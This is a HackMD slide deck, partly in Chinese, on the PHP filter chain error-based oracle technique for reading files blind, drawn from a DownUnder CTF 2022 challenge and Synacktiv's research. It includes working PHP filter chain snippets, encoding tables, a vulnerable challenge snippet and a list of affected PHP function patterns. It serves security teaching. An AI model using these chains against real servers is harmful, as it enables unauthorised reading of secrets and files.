JyunD
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights
    • Engagement control
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Versions and GitHub Sync Note Insights Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       owned this note    owned this note      
    Published Linked with GitHub
    Subscribed
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    Subscribe
    --- type: slide --- ### PHP FILTER CHAINS: FILE READ FROM ERROR-BASED ORACLE <!-- slide: --> --- ### Introduction * DownUnder CTF 2022 ```Dockerfile FROM php:8.1-apache RUN mv "$PHP_INI_DIR/php.ini-production" "$PHP_INI_DIR/php.ini" COPY index.php /var/www/html/index.php COPY flag /flag ``` ```php <?php file($_POST[0]); ``` --- ### File read with error-based oracle * php://filter 1. Use the `iconv` filter with an encoding increasing the data size exponentially to trigger a memory error. 2. Use the `dechunk` filter to determine the first character of the file, based on the previous error. 3. Use the `iconv` filter again with encodings having different bytes ordering to swap remaining characters with the first one. --- #### OVERFLOWING THE MAXIMUM FILE SIZE ---- iconv 函數允許設定傳遞給它的字串的編碼,也可以直接從 php://filter 包裝器呼叫 ![image](https://hackmd.io/_uploads/rJohdfJJ0.png) ---- 那我們重複幾次 iconv 依然可以保留需要的字元,且讓檔案大小變大 ![image](https://hackmd.io/_uploads/H1BdtfJyR.png) ---- php.ini 預設的 `memory_limit` 是 128MB,因此我們多重複幾次 iconv 就能讓他觸發 PHP fatal error ![image](https://hackmd.io/_uploads/rkDNqz1kC.png) ---- ![image](https://hackmd.io/_uploads/HytLqfyJ0.png) --- ### LEAKING THE FIRST CHARACTER OF THE FILE ---- #### Dechunk filter 這個技巧使用了包裝器dechunk中的方法,該方法在 PHP 文件中沒有詳細說明,但其目的是處理分塊傳輸編碼。後者將資料分割成 2 個以 CRLF 結尾的行的區塊,第一個字元用來定義區塊長度。 ``` 5\r\n (chunk length) Chunk\r\n (chunk data) f\r\n (chunk length) PHPfiltersrock!\r\n (chunk data) ``` ---- 因為 dechunk 後的開頭必須是區塊長度(hex 表示),因此若非 `[0-9], [a-f], [A-F]` 字元,dechunk 會 parse 失敗,然後就不解析了 ![image](https://hackmd.io/_uploads/H1_NoMkyA.png) ---- 因此我們可以利用以上兩個條件,來讓非 16 進制的開頭的內容觸發 Fatal error ```php <?php $size_bomb = ""; for ($i = 1; $i <= 13; $i++) { $size_bomb .= "convert.iconv.UTF8.UCS-4|"; } $filter = "php://filter/dechunk|$size_bomb/resource=/tmp/test"; echo file_get_contents($filter); ``` ![image](https://hackmd.io/_uploads/B1XIlQkkA.png) --- ### Retrieving the leading character value ---- #### Retrieving [a-e] characters ---- ASCII Codec | | x0 | x1 | x2 | x3 | x4 | x5 | x6 | x7 | [...] | xf | | ----- | --- | --- | --- | --- | --- | --- | --- | --- | ----- | --- | | [...] | | | | | | | | | | | | 6x | \` | a | b | c | d | e | f | g | | o | | [...] | | | | | | | | | | | | | | | | | | | | | | | ---- X-IBM-930 Codec | | x0 | x1 | x2 | x3 | x4 | x5 | x6 | x7 | [...] | xf | | ----- | --- | --- | --- | --- | --- | --- | --- | --- | ----- | --- | | [...] | | | | | | | | | | | | 6x | - | / | a | b | c | d | e | f | g | ? | | [...] | | | | | | | | | | | | | | | | | | | | | | | ---- ```php <?php $guess_char = ""; for ($i=1; $i <= 7; $i++) { $remove_junk_chars = "convert.quoted-printable-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|convert.base64-encode|"; $guess_char .= "convert.iconv.UTF8.UNICODE|convert.iconv.UNICODE.CP930|$remove_junk_chars"; $filter = "php://filter/$guess_char/resource=/tmp/test"; echo "IBM-930 conversions : ".$i; echo ", First char value : ".file_get_contents($filter)[0]."\n"; } ``` ![image](https://hackmd.io/_uploads/S1P5e7k1A.png) ---- 接下來將 iconv 與 error-based oracle 組合起來 ---- ```php <?php $size_bomb = ""; for ($i = 1; $i <= 13; $i++) { $size_bomb .= "convert.iconv.UTF8.UCS-4|"; } $guess_char = ""; $index = 0; for ($i=1; $i <= 6; $i++) { $remove_junk_chars = "convert.quoted-printable-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|convert.base64-encode|"; $guess_char .= "convert.iconv.UTF8.UNICODE|convert.iconv.UNICODE.CP930|$remove_junk_chars"; $filter = "php://filter/$guess_char|dechunk|$size_bomb/resource=/tmp/test"; file_get_contents($filter); echo "IBM-930 conversions : ".$i.", the first character is "."edcba"[$i-1]."\n"; } ``` ---- 有了這結果,可以利用來判斷出第一個字元是不是 `a` `b` `c` `d` `e`,搭配 string.rot13 還可以知道 `n` `o` `p` `q` `r`,甚至是推出所有字母 ![image](https://hackmd.io/_uploads/HyL6em11C.png) ---- #### Retrieving [0-9] characters 但推出數字有另一個比較 tricky 的做法 ---- 根據 base64 的原理,我們可以知道 0-9 拿去 base64 encode 時,encode 完的開頭一定是 `M` `N` `O`,但是 encode 完的第二個字元,需要根據 0-9 後面接的字元決定,更精確的說,需要根據後面的字元的前 4 bits ![image](https://hackmd.io/_uploads/S1DEfXJJR.png) ---- 那我們就可以整理出以下表格 | Character | base64-encoded first character | base64-encoded second character | | --------- | ------------------------------ | ------------------------------- | | 0 | M | C, D, E, F, G or H | | 1 | M | S, T, U, V, W or X | | 2 | M | i, j, k, l, m or n | | 3 | M | y, z or a number | | 4 | N | C, D, E, F, G or H | | 5 | N | S, T, U, V, W or X | | 6 | N | i, j, k, l, m or n | | 7 | N | y, z or a number | | 8 | O | C, D, E, F, G or H | | 9 | O | S, T, U, V, W or X | ---- #### Retrieving other letters ---- 其他符號可以利用其他編碼來獲得 ---- X-IBM-285 Codec | | x0 | x1 | x2 | [...] | x9 | xa | xb | xc | xd | xe | xf | | ----- | --- | --- | --- | ----- | --- | --- | --- | --- | --- | --- | --- | | [...] | | | | | | | | | | | | | 5x | ' | é | ê | | ß | ! | £ | * | ) | ; | ¬ | | [...] | | | | | | | | | | | | | | | | | | | | | | | | | ---- X-IBM-280 Codec | | x0 | x1 | x2 | [...] | x9 | xa | xb | xc | xd | xe | xf | | ----- | --- | --- | --- | ----- | --- | --- | --- | --- | --- | --- | --- | | [...] | | | | | | | | | | | | | 4x | | | â | | ñ | $ | . | < | ( | + | ! | | [...] | | | | | | | | | | | | | | | | | | | | | | | | | --- ### RETRIEVING NON-LEADING CHARACTERS ---- #### Swapping characters 利用 little endian 去做轉換就可以變換開頭的字元 ![image](https://hackmd.io/_uploads/Hy4V4QkJR.png) ---- 而超出 4 bytes 的部分可以利用填充無意義字元來處理 ![image](https://hackmd.io/_uploads/Bkps47y1R.png) ---- ```php <?php $size_bomb = ""; for ($i = 1; $i <= 20; $i++) { $size_bomb .= "convert.iconv.UTF8.UCS-4|"; } $guess_char = ""; $index = 0; for ($i=1; $i <= 6; $i++) { $remove_junk_chars = "convert.quoted-printable-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|convert.base64-encode|"; $guess_char .= "convert.iconv.UTF8.UNICODE|convert.iconv.UNICODE.CP930|$remove_junk_chars"; $swap_bits = "convert.iconv.UTF16.UTF16|convert.iconv.UCS-4LE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UCS-4LE.UCS-4|"; $filter = "php://filter/$swap_bits$guess_char|dechunk|$size_bomb/resource=/tmp/test"; file_get_contents($filter); echo "IBM-930 conversions : ".$i.", the fifth character is "."edcba"[$i-1]."\n"; } ``` ---- ![image](https://hackmd.io/_uploads/ByvzH7yJ0.png) --- # AFFECTED FUNCTIONS 只要對文件內容執行操作,函數就可能會受到 php://filter 包裝器的影響。 ---- | Function | Pattern | | --------------------------------------------------- | ------------------------------------------------------------------------- | | file_get_contents | `file_get_contents($_POST[0]);` | | readfile | `readfile($_POST[0]);` | | finfo->file | `$file = new finfo(); $fileinfo = $file->file($_POST[0], FILEINFO_MIME);` | | getimagesize | `getimagesize($_POST[0]);` | | md5_file | `md5_file($_POST[0]);` | | sha1_file | `sha1_file($_POST[0]);` | | hash_file | `hash_file('md5', $_POST[0]);` | | file | `file($_POST[0]);` | | parse_ini_file | `parse_ini_file($_POST[0]);` | | copy | `copy($_POST[0], '/tmp/test');` | | file_put_contents (only target read only with this) | `file_put_contents($_POST[0], "");` | | stream_get_contents | `$file = fopen($_POST[0], "r"); stream_get_contents($file);` | | fgets | `$file = fopen($_POST[0], "r"); fgets($file);` | | fread | `$file = fopen($_POST[0], "r"); fread($file, 10000);` | | fgetc | `$file = fopen($_POST[0], "r"); fgetc($file);` | | fgetcsv | `$file = fopen($_POST[0], "r"); fgetcsv($file, 1000, ",");` | | fpassthru | `$file = fopen($_POST[0], "r"); fpassthru($file);` | | fputs | `$file = fopen($_POST[0], "rw"); fputs($file, 0);` | ---- 一旦使用 file_exists 或 is_file 等函數控制輸入字串,漏洞將無法被利用,因為它們都是 stats 內部調用,不支援包裝器。 ![image](https://hackmd.io/_uploads/rk9B8mJJ0.png) ---- 而且 payload 會超大,例如說 746 個字元長的檔案的完全洩漏將需要大約 14k 個請求,最新的有效負載將約為 50KB。 ![image](https://hackmd.io/_uploads/r1ImUQ1yC.png) --- ## End [工具連結](https://github.com/synacktiv/php_filter_chains_oracle_exploit) --- ## Reference [Source](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) [tools](https://github.com/synacktiv/php_filter_chains_oracle_exploit)

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password

    or

    By clicking below, you agree to our terms of service.

    Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully